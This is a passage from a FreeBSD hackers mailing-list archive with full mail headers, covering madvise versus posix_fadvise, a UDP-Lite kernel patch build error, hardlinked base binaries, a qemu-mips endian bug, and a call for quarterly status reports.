mail.fig.ol.no (8.14.7/8.14.7/Submit) with ESMTP id s2LGRDAm018620; Fri, 21 Mar 2014 17:27:13 +0100 (CET) (envelope-from trond@fagskolen.gjovik.no) X-Authentication-Warning: mail.fig.ol.no: trond owned process doing -bs Date: Fri, 21 Mar 2014 17:27:13 +0100 (CET) From: =?ISO-8859-1?Q?Trond_Endrest=F8l?= Sender: Trond.Endrestol@fagskolen.gjovik.no To: Dmitry Sivachenko Subject: Re: madvise() vs posix_fadvise() In-Reply-To: Message-ID: References: User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) Organization: Fagskolen Innlandet OpenPGP: url=http://fig.ol.no/~trond/trond.key MIME-Version: 1.0 X-Spam-Status: No, score=-1.0 required=5.0 tests=ALL_TRUSTED autolearn=unavailable version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mail.fig.ol.no Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: 8BIT X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 21 Mar 2014 16:27:19 -0000 On Fri, 21 Mar 2014 18:56+0400, Dmitry Sivachenko wrote: > Hello! > > I have a program which uses large data files (read-only, via mmap()). > > These machines have a bit more RAM that these files occupy, so it is > possible to have all these data in memory. > > What techniques should I use to promote this data not to be purged > from RAM: > > -- madvise(MADV_WILLNEED) > -- posix_fadvise(POSIX_FADV_WILLNEED) > -- both? Although a bit dangerous, mlock(2) might be your ticket. That system call prevents your memory region from being swapped/paged away from physical memory. > Some parts of this mmap()ed data is frequently accessed, some is > not, and I see that rarely accessed regions are purged from RAM. I > want disk cache (program writes large log files) to have lower > priority, so disk cache does not purge mmaped regions from memory. > > Thanks. -- +-------------------------------+------------------------------------+ | Vennlig hilsen, | Best regards, | | Trond Endrestřl, | Trond Endrestřl, | | IT-ansvarlig, | System administrator, | | Fagskolen Innlandet, | Gjřvik Technical College, Norway, | | tlf. mob. 952 62 567, | Cellular...: +47 952 62 567, | | sentralbord 61 14 54 00. | Switchboard: +47 61 14 54 00. | +-------------------------------+------------------------------------+ From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 22 22:48:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 81CDF899; Sat, 22 Mar 2014 22:48:01 +0000 (UTC) Received: from mail-oa0-x236.google.com (mail-oa0-x236.google.com [IPv6:2607:f8b0:4003:c02::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 2B53DF10; Sat, 22 Mar 2014 22:48:01 +0000 (UTC) Received: by mail-oa0-f54.google.com with SMTP id n16so4264812oag.27 for ; Sat, 22 Mar 2014 15:48:00 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=wpwiPtviH485jBxxbg6mb9qFEd2CIsFnVvcW6THRZWM=; b=f92Uq78d1Wu9ySJ4u7xoIOhdtJ2tqYBZ15CqkzQ0lW+O5RlmaAUS9a6Aw7f2UkRTSz s9TlMROnmHn/j6u46UXdUUwy2MC2fZKS/uiwVI7wrtVMN5BgykK5SHwxxlDmSzmP8kQb 0XYFfDk1BIm36b+FRTIx9aa25dMDi+eZUVOGGpH9sSaJOY5XvB5n0sGz2Pz5jf0Vpwpx 08FKzsa2wnD3zUEloYN/fZfMP3YniNYcRlOSX+TnOeVxLaqi+PDsilv+HMSa8XH8sfrX aVbYvF7NiSO+TfBbs9rSbIOviIKugRQAoXOj21wFmudYX0sYQybQ2tNPiAFj0QyuuGae Jy7Q== MIME-Version: 1.0 X-Received: by 10.60.172.70 with SMTP id ba6mr49287713oec.17.1395528480555; Sat, 22 Mar 2014 15:48:00 -0700 (PDT) Received: by 10.182.130.71 with HTTP; Sat, 22 Mar 2014 15:48:00 -0700 (PDT) In-Reply-To: <532BEC4C.6080201@FreeBSD.org> References: <53269B0E.5020904@FreeBSD.org> <532BEC4C.6080201@FreeBSD.org> Date: Sat, 22 Mar 2014 18:48:00 -0400 Message-ID: Subject: Re: Definition struct and int From: Joe Nosay To: Kevin Lo Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: FreeBSD Hackers , Adrian Chadd X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 22 Mar 2014 22:48:01 -0000 On Fri, Mar 21, 2014 at 3:37 AM, Kevin Lo wrote: > On 2014/03/18 08:05, Joe Nosay wrote: > >> On Mon, Mar 17, 2014 at 2:49 AM, Kevin Lo wrote: >> >> On 2014/03/17 14:07, Joe Nosay wrote: >>> >>> On Sun, Mar 16, 2014 at 1:07 AM, Joe Nosay >>>> wrote: >>>> >>>> >>>> On Fri, Mar 14, 2014 at 5:43 PM, Joe Nosay >>>>> wrote: >>>>> >>>>> >>>>> On Thu, Mar 13, 2014 at 9:26 PM, Adrian Chadd >>>>>> wrote: >>>>>> >>>>>> Is this -HEAD, or? >>>>>> >>>>>>> >>>>>>> -a >>>>>>> >>>>>>> >>>>>>> On 13 March 2014 18:13, Joe Nosay wrote: >>>>>>> >>>>>>> Testing of a patch for using UDP Lite on FreeBSD caused no >>>>>>>> compilation >>>>>>>> errors; however, after adding the options of "VIMAGE" and "MROUTING" >>>>>>>> to >>>>>>>> conf/kern?GENERIC, make buildkernel stops with: >>>>>>>> /usr/src/sys/netinet/udp_usrreq.c:1701:18: error: too few arguments >>>>>>>> to >>>>>>>> function >>>>>>>> call, expected 2, have 1 >>>>>>>> udp_discardcb(up); >>>>>>>> ~~~~~~~~~~~~~ ^ >>>>>>>> /usr/src/sys/netinet/udp_usrreq.c:274:1: note: 'udp_discardcb' >>>>>>>> >>>>>>>> declared here >>>>>>> >>>>>>> void >>>>>>>> ^ >>>>>>>> 1 error generated. >>>>>>>> *** Error code 1 >>>>>>>> >>>>>>>> The file in question of >>>>>>>> /usr/src/sys/netinet/udp_usrreq.c >>>>>>>> >>>>>>>> has the value of >>>>>>>> udp_discardcb(struct udpcb *up, int isudp) >>>>>>>> >>>>>>>> that is causing the problem. >>>>>>>> >>>>>>>> >>>>>>>> >>>>>>>> I believe that the compiler is looking for a value to int isudp but >>>>>>>> >>>>>>>> that >>>>>>> >>>>>>> value does not exist. >>>>>>>> _______________________________________________ >>>>>>>> freebsd-hackers@freebsd.org mailing list >>>>>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>>>>>> To unsubscribe, send any mail to " >>>>>>>> >>>>>>>> freebsd-hackers-unsubscribe@freebsd.org" >>>>>>> >>>>>>> >>>>>>> No, it is 10.0 RELEASE #0 r262601 >>>>>> >>>>>> Last time, I had entered too many files. Here are the relative files. >>>>>> >>>>>> >>>>>> There was no problem in compiling as listed earlier. I have not >>>>>> studied >>>>>> C enough to solve this problem; however, I can see that int isudp >>>>>> happens >>>>>> once while the next closest account is int isudplite. >>>>>> >>>>>> >>>>>> I've just upgraded source to head. I have three patches for UDP >>>>>> Lite. >>>>>> >>>>> The >>>>> question is which one(s) should I use. >>>>> >>>>> The udp-v.diff only has a reference to udp_discardcb up, while patch >>>>> udplite and udplite.diff have the struct and int references. >>>>> >>>>> >>>>> Could someone possibly point me towards some online documentation >>>>> that >>>>> >>>> would allow me to learn of a solution to this problem? This would be >>>> much >>>> better because I would be solving and learning. >>>> >>>> Included are the three patches mentioned earlier. >>>> >>>> Yes, I will be looking at them again. >>>> >>>> Apologies for any noise and if I am coming off the wrong way. >>>> >>>> Hi Joe, >>> >>> As I mentioned, my udp-lite's diff no longer applies cleanly against >>> -HEAD. I've been busy lately and haven't got time to reply to your >>> messages. >>> Give me another day or two to cook up a revised patch for you to test. >>> Thanks! >>> >>> Kevin >>> >>> >> Alright. >> > > The revised patch is available at: > http://people.freebsd.org/~kevlo/udplite.diff > > Kevin > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > I have VPS, VIMAGE, and MROUTING enabled on GENERIC. I'll tell you how it goes for me. From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 23 10:17:24 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BF5114DD for ; Sun, 23 Mar 2014 10:17:24 +0000 (UTC) Received: from mail-ee0-x22f.google.com (mail-ee0-x22f.google.com [IPv6:2a00:1450:4013:c00::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 5B7488E0 for ; Sun, 23 Mar 2014 10:17:24 +0000 (UTC) Received: by mail-ee0-f47.google.com with SMTP id b15so3334364eek.6 for ; Sun, 23 Mar 2014 03:17:22 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:from:to:subject:date; bh=1mHXMtU2eTHdi6XVz4vmFEBaji16/wcWxv0ArNy/NhM=; b=voaS/VtMpHHo1MAdJsEUqv4l27h86Kp72Mtxk80jGTiTcAfRsAxW7qR0vDrsycQZ6u HAhWnEdXdyjlb/xY6muAKu/p3ly0pOEIAtL9LosTd9U3XGNczlXONvedAKh4crz7jzoa bHpiD3MgsnfvFtO04IPmG2ogmfbe7R5P/CXPjG+vUnxG9pc7HChKZELmoQWYk/ySC3a8 lLLhsgXSiV4mP71qd3oid7w1LsUdhWvZgxmpnFunHgT894HmrOeq6+0EFBAvWh2FtNic HJi5bR9Irw8OT9tjk/yFfuvmZL8Oist6jtOIrwlHba7Oz6yrB+LC/lsT9MblXsb3M4XC q2mA== X-Received: by 10.14.4.69 with SMTP id 45mr3935004eei.66.1395569841951; Sun, 23 Mar 2014 03:17:21 -0700 (PDT) Received: from DOMYPC ([82.193.208.225]) by mx.google.com with ESMTPSA id y51sm25075600eeu.0.2014.03.23.03.17.20 for (version=TLSv1 cipher=RC4-SHA bits=128/128); Sun, 23 Mar 2014 03:17:21 -0700 (PDT) Message-ID: <20140323.101719.508.1@DOMY-PC> From: rank1seeker@gmail.com To: hackers@freebsd.org Subject: 9.2 base bins hardlinks Date: Sun, 23 Mar 2014 11:17:19 +0100 X-Mailer: POP Peeper (3.8.1.0) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Mar 2014 10:17:24 -0000 FreeBSD 9.2-RELEASE-p3 i386 All 4 have a same inode, that is, they hardlink to 1 file # ls -i /bin/pgrep /usr/bin/pgrep # ls -i /bin/pkill /usr/bin/pkill Also ... # ls -i /sbin/nologin /usr/sbin/nologin In all cases, why is there also one in '/usr/(s)bin' ? Domagoj From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 23 18:30:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C9A6B13D; Sun, 23 Mar 2014 18:30:42 +0000 (UTC) Received: from mail.ignoranthack.me (ujvl.x.rootbsd.net [199.102.79.106]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id A521B7E5; Sun, 23 Mar 2014 18:30:42 +0000 (UTC) Received: from [192.168.1.228] (c-24-6-179-71.hsd1.ca.comcast.net [24.6.179.71]) (using SSLv3 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: sbruno@ignoranthack.me) by mail.ignoranthack.me (Postfix) with ESMTPSA id 55A33192B5D; Sun, 23 Mar 2014 18:30:41 +0000 (UTC) Subject: Re: readelf: Error: /usr/lib/libc.a: failed to skip archive symbol table From: Sean Bruno To: "freebsd-hackers@freebsd.org" In-Reply-To: <1395337352.7757.11.camel@powernoodle.corp.yahoo.com> References: <1395337352.7757.11.camel@powernoodle.corp.yahoo.com> Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-hSBBUd2JmtKsYkv/HbdJ" Date: Sun, 23 Mar 2014 11:30:40 -0700 Message-ID: <1395599440.67694.13.camel@powernoodle.corp.yahoo.com> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: sbruno@freebsd.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Mar 2014 18:30:42 -0000 --=-hSBBUd2JmtKsYkv/HbdJ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable On Thu, 2014-03-20 at 10:42 -0700, Sean Bruno wrote: > I've built a 32bit mips world/chroot. If I use sson's qemu tree and his > kmod/binmissctl, I can enter the environment. =20 >=20 > Right now, I'm investigating why static compilation fails inside the > environment, which probably means I'm the first person to *ever* use the > tool chain natively on mips32. >=20 > Dynamic linking works just fine, but if I attempt to link -static, I get > a failure. readelf and other tools seem to be unable to parse the .a > files, but .so files are just fine. >=20 > This is all inside the qemu-mips environment, if I examine the files on > my amd64 machine, I never see these errors. I suspect some kind of > arch/endian issue, but it eludes me at the moment. Ideas? >=20 > # uname -a > FreeBSD powernoodle.corp.yahoo.com 11.0-CURRENT FreeBSD 11.0-CURRENT #11 > r263173: Sat Mar 15 13:31:08 JST 2014 > sbruno@powernoodle:/usr/obj/usr/src/sys/POWERNOODLE mips >=20 >=20 > # readelf -a /usr/lib/libz.a > readelf: Error: /usr/lib/libz.a: failed to skip archive symbol table >=20 This problem seems to be caused by a endian issue in qemu-mips. Ed Maste found the culprit and I've applied it here: https://github.com/seanbruno/qemu/commit/05ee8495804599b52a88eb36b13ea9c06b= 3207cd Which is my combined tracking branch for qemu and sson's bsd-user branch. I'm currently tracking an "illegal instruction" on exit issue that seems to happen on application exit causing a crash. sean --=-hSBBUd2JmtKsYkv/HbdJ Content-Type: application/pgp-signature; name="signature.asc" Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEcBAABAgAGBQJTLyhQAAoJEBkJRdwI6BaH3J4H/RNL68pRQzkijxTCGOBBAgWP i6zALOR7yR2lc9YKhJP8TRcTT/o16f8uq1yEhrVDtw7YUqVpp9/wDDSsAeoaQu3r HeLu7tuvegYJnCP9hwH5DAvuATaiF37dHxP7MSIzkkv7vOK5PzpwY942YzLqnA9k Zq5GdV2MOjNiXit5+8Uamzgb3EZXOHiEKrmcrH1hUrcFbXXaaHaXCoki8Qs/f77U pPXbUk0sygHSFmwM3sD85HZF44KkU0MMh79d4FX07b/WkpuVPxn2CZVGv+pS+vJk wmDYwGP/db4nGP2M2TnKSWHYYjGj9kIp4oP1imCNf6Gi9EhX/yg6c26zcvDh4/M= =HEof -----END PGP SIGNATURE----- --=-hSBBUd2JmtKsYkv/HbdJ-- From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 24 09:59:17 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 69158D1F; Mon, 24 Mar 2014 09:59:17 +0000 (UTC) Received: from mail-oa0-x230.google.com (mail-oa0-x230.google.com [IPv6:2607:f8b0:4003:c02::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 1ED29AF0; Mon, 24 Mar 2014 09:59:17 +0000 (UTC) Received: by mail-oa0-f48.google.com with SMTP id m1so5554478oag.35 for ; Mon, 24 Mar 2014 02:59:16 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:date:message-id:subject:from:to:content-type; bh=YOz38U3PqGewCIZkXupUFXXKwxUQ6z1eWdl8TLgnfOY=; b=YV+/RKKfx8fjLELflZq21/NL2W5CNNRBF8m0c1tqqb4wXIIcI1Kvc/mNL6W60fZ1G0 T+Q2p6T3fjJpkMF0BmC6pMJkI5kIVzqtZy8qL7S5VTZ4znj45Bi0sMTYb6dcRBbNewOH vM4QZH7wYB3NqELHeI3TJh5UtivTGQNDGTs0ZR/Rd0675++G4fQyDhzcT8qiGS9HeSt3 OgyjWK6oY8V0AnjUllDxX3xMQYIL4IKAGIEfQu+uga1p1fhJ8Nxaf72ArOAGRuECINoa 61ZcbljolCf0BunqzXetjw7mOnPJsTzsKE1f7UawVLWoWWdO9mS3u0oj6TlYaYC3vkM+ VyXQ== MIME-Version: 1.0 X-Received: by 10.182.131.170 with SMTP id on10mr26005731obb.2.1395655156476; Mon, 24 Mar 2014 02:59:16 -0700 (PDT) Sender: pali.gabor@gmail.com Received: by 10.182.22.44 with HTTP; Mon, 24 Mar 2014 02:59:16 -0700 (PDT) Date: Mon, 24 Mar 2014 10:59:16 +0100 X-Google-Sender-Auth: p_tRYu_Fg0RnE6PrKZMIlWsz1Go Message-ID: Subject: Re: Call for FreeBSD 2014Q1 (January-March) Status Reports From: Gabor Pali To: hackers@freebsd.org, current@freebsd.org, FreeBSD Ports Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Mar 2014 09:59:17 -0000 Dear FreeBSD Community, Please note that the submission date for the January to March Quarterly Status Reports is, April 7th, 2014, about two weeks away. Please consult my previous message for the details: 2014-03-08 10:24 GMT+01:00 Gabor Pali : > They do not have to be very long -- basically they may be about > anything that lets people know what is going on around the FreeBSD > Project. Submission of reports is not restricted to committers: > Anyone who is doing anything interesting and FreeBSD-related can (and > therefore encouraged to) write one! > > The preferred and easiest submission method is to use the XML > generator [1] with the result emailed as an attachment to us, that is, > monthly@FreeBSD.org [2]. There is also an XML template [3] which can > be filled out manually and attached if preferred. For the expected > content and style, please study our guidelines on how to write good > status reports [4]. If you are still unsure what constitutes a good > status report, check out the last issue [5]. > > To enable compilation and publication of the quarterly report as soon > as possible for the April 7th deadline, please be prompt with any > report submissions you may have. > > We are looking forward to all of your 2014Q1 reports! > > Thanks, > Gabor > > > [1] http://www.freebsd.org/cgi/monthly.cgi > [2] mailto:monthly@freebsd.org > [3] http://www.freebsd.org/news/status/report-sample.xml > [4] http://www.freebsd.org/news/status/howto.html > [5] http://www.freebsd.org/news/status/report-2013-10-2013-12.html From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 24 12:03:09 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 78EC15A1 for ; Mon, 24 Mar 2014 12:03:09 +0000 (UTC) Received: from mail-la0-x22d.google.com (mail-la0-x22d.google.com [IPv6:2a00:1450:4010:c03::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 00651AB8 for ; Mon, 24 Mar 2014 12:03:08 +0000 (UTC) Received: by mail-la0-f45.google.com with SMTP id hr17so3516886lab.4 for ; Mon, 24 Mar 2014 05:03:07 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=/YlIW2HNy+XBP4ONqP3FVFD/Ec40H9bo5a7vxlgBCeY=; b=PAF7FF157fmksq9oXpSX+G2mH5DDRfUKuHzQ3rnn6ONBa6OcHmaPEXzl4LykuAmOkN L+RzNGphSGqMsZVZkBE2FFA3TZMnKGnvg/SgAU4cm24UJaoMLXLk8UBHceoDkN40w8n1 3hcMolwKwZNNBm+86msLhkLXgS8cTX1z9hijHTNIeI9raqpspiDxeAlo29jQGaEhCoS4 WsjkdDVofA/fus4ykQF9HIC9f+lx9aZR0t5ZicU9ClAqrgkdTFoa0WHnVrVZ3aHajGsI FlZmWJ9W2mzHGwuVeIt5Cu84O0vgTqtiVvBlFHm+stg9/zMmGQs3Q+9VifIFnS7HK50g lLug== X-Received: by 10.112.171.1 with SMTP id aq1mr31198lbc.67.1395662587093; Mon, 24 Mar 2014 05:03:07 -0700 (PDT) Received: from [10.0.1.20] ([176.193.80.226]) by mx.google.com with ESMTPSA id jm3sm855523lbc.29.2014.03.24.05.03.05 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 24 Mar 2014 05:03:06 -0700 (PDT) Content-Type: text/plain; charset=utf-8 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: madvise() vs posix_fadvise() From: Dmitry Sivachenko In-Reply-To: Date: Mon, 24 Mar 2014 16:03:04 +0400 Content-Transfer-Encoding: quoted-printable Message-Id: References: To: =?utf-8?Q?Trond_Endrest=C3=B8l?= X-Mailer: Apple Mail (2.1874) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Mar 2014 12:03:09 -0000 On 21 =D0=BC=D0=B0=D1=80=D1=82=D0=B0 2014 =D0=B3., at 20:27, Trond = Endrest=C3=B8l wrote: > On Fri, 21 Mar 2014 18:56+0400, Dmitry Sivachenko wrote: >=20 >> Hello! >>=20 >> I have a program which uses large data files (read-only, via mmap()). >>=20 >> These machines have a bit more RAM that these files occupy, so it is=20= >> possible to have all these data in memory. >>=20 >> What techniques should I use to promote this data not to be purged=20 >> from RAM: >>=20 >> -- madvise(MADV_WILLNEED) >> -- posix_fadvise(POSIX_FADV_WILLNEED) >> -- both? >=20 > Although a bit dangerous, mlock(2) might be your ticket. That system=20= > call prevents your memory region from being swapped/paged away from=20 > physical memory. >=20 I know about mlock(2), it is a bit overkill. Can someone please explain the difference between madvise(MADV_WILLNEED) = and posix_fadvise(POSIX_FADV_WILLNEED)? From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 24 12:12:24 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 28E8EAE9 for ; Mon, 24 Mar 2014 12:12:24 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B835CBAD for ; Mon, 24 Mar 2014 12:12:23 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s2OCBusU003704; Mon, 24 Mar 2014 14:11:56 +0200 (EET) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s2OCBusU003704 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s2OCBurk003703; Mon, 24 Mar 2014 14:11:56 +0200 (EET) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Mon, 24 Mar 2014 14:11:56 +0200 From: Konstantin Belousov To: Dmitry Sivachenko Subject: Re: madvise() vs posix_fadvise() Message-ID: <20140324121156.GX21331@kib.kiev.ua> References: MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="D+UG5SQJKkIYNVx0" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: hackers@freebsd.org, Trond Endrest??l X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Mar 2014 12:12:24 -0000 --D+UG5SQJKkIYNVx0 Content-Type: text/plain; charset=koi8-r Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Mar 24, 2014 at 04:03:04PM +0400, Dmitry Sivachenko wrote: >=20 > On 21 =CD=C1=D2=D4=C1 2014 =C7., at 20:27, Trond Endrest??l wrote: >=20 > > On Fri, 21 Mar 2014 18:56+0400, Dmitry Sivachenko wrote: > >=20 > >> Hello! > >>=20 > >> I have a program which uses large data files (read-only, via mmap()). > >>=20 > >> These machines have a bit more RAM that these files occupy, so it is= =20 > >> possible to have all these data in memory. > >>=20 > >> What techniques should I use to promote this data not to be purged=20 > >> from RAM: > >>=20 > >> -- madvise(MADV_WILLNEED) > >> -- posix_fadvise(POSIX_FADV_WILLNEED) > >> -- both? > >=20 > > Although a bit dangerous, mlock(2) might be your ticket. That system=20 > > call prevents your memory region from being swapped/paged away from=20 > > physical memory. > >=20 >=20 >=20 > I know about mlock(2), it is a bit overkill. > Can someone please explain the difference between madvise(MADV_WILLNEED) = and posix_fadvise(POSIX_FADV_WILLNEED)? >=20 The difference is only in the way the errors are reported; madvise(2) is the 'classic' syscall which sets errno, while posix_madvise(3) is a trivial wrapper which returns error. You would get the answer yourself in approx. 1 minute if you looked at the man page or code. --D+UG5SQJKkIYNVx0 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTMCELAAoJEJDCuSvBvK1Bh4gP/iGagR41B/Wj+VbwYf/AnSJN arteO7s8odPafp83+bBKl6iT9DgE/SAFMENGmaqpOeehR1VEu7vkwSPBjadSsd9s rKYvOSC6eKGBU2jJNptGYgmR4MqAZzesZjLzkIqEyNfOz/LKFa8uWeTA+/kmdtDt JPb57dY6aYN+BatEzl2aRmsngc/ZQF3SXyqrTIP2Heu+K0P2du8P9R4fw6VYY7jU XOqnShZP7Fb5HSpKcFh+h4Y6WVoS4Yp2ADYqdCF0bytOnT0S3DFnWGkZmTrY95E4 jVQFidpYr9MfoKkDqfiaFzhHZhkSOP5gqM2Y9M9GK2wkLEYKxuREiZFNXjt/BwSn atYtkUmNBzc9+QdfE0wT+0x9V3LLx3QxQX98O5hVYQNYD5q3YvfvOdRx700oCyr2 G3CNwEvXMhOTc2oVh9byaYcqLfxjAWhV6Vku8//pNEYTG4/To41csX8srwpVbMf0 IQ8DUH+dNOfVwV82HBOpanGl/gE1T4Ng4I5b1XescvUbOs+EP0DXFbTZH45A3uGt vxInpRd/83yZNILKznFzX9y5YTSoQnsrUhP/Qe1TslIjUtmUau/wCQyUB+R+GiVJ EwHzs+hpXi7vgX+EpJdI5Xh21qPC1TS8NG+EtNkCpM2DDZ/rloGi4K1XgDEdwkST gA+zNV3Aacc2tI5WGX4T =1gTN -----END PGP SIGNATURE----- --D+UG5SQJKkIYNVx0-- From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 24 19:34:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 07255643 for ; Mon, 24 Mar 2014 19:34:22 +0000 (UTC) Received: from mail-oa0-x22d.google.com (mail-oa0-x22d.google.com [IPv6:2607:f8b0:4003:c02::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id C1F45F99 for ; Mon, 24 Mar 2014 19:34:21 +0000 (UTC) Received: by mail-oa0-f45.google.com with SMTP id eb12so6046342oac.4 for ; Mon, 24 Mar 2014 12:34:21 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; 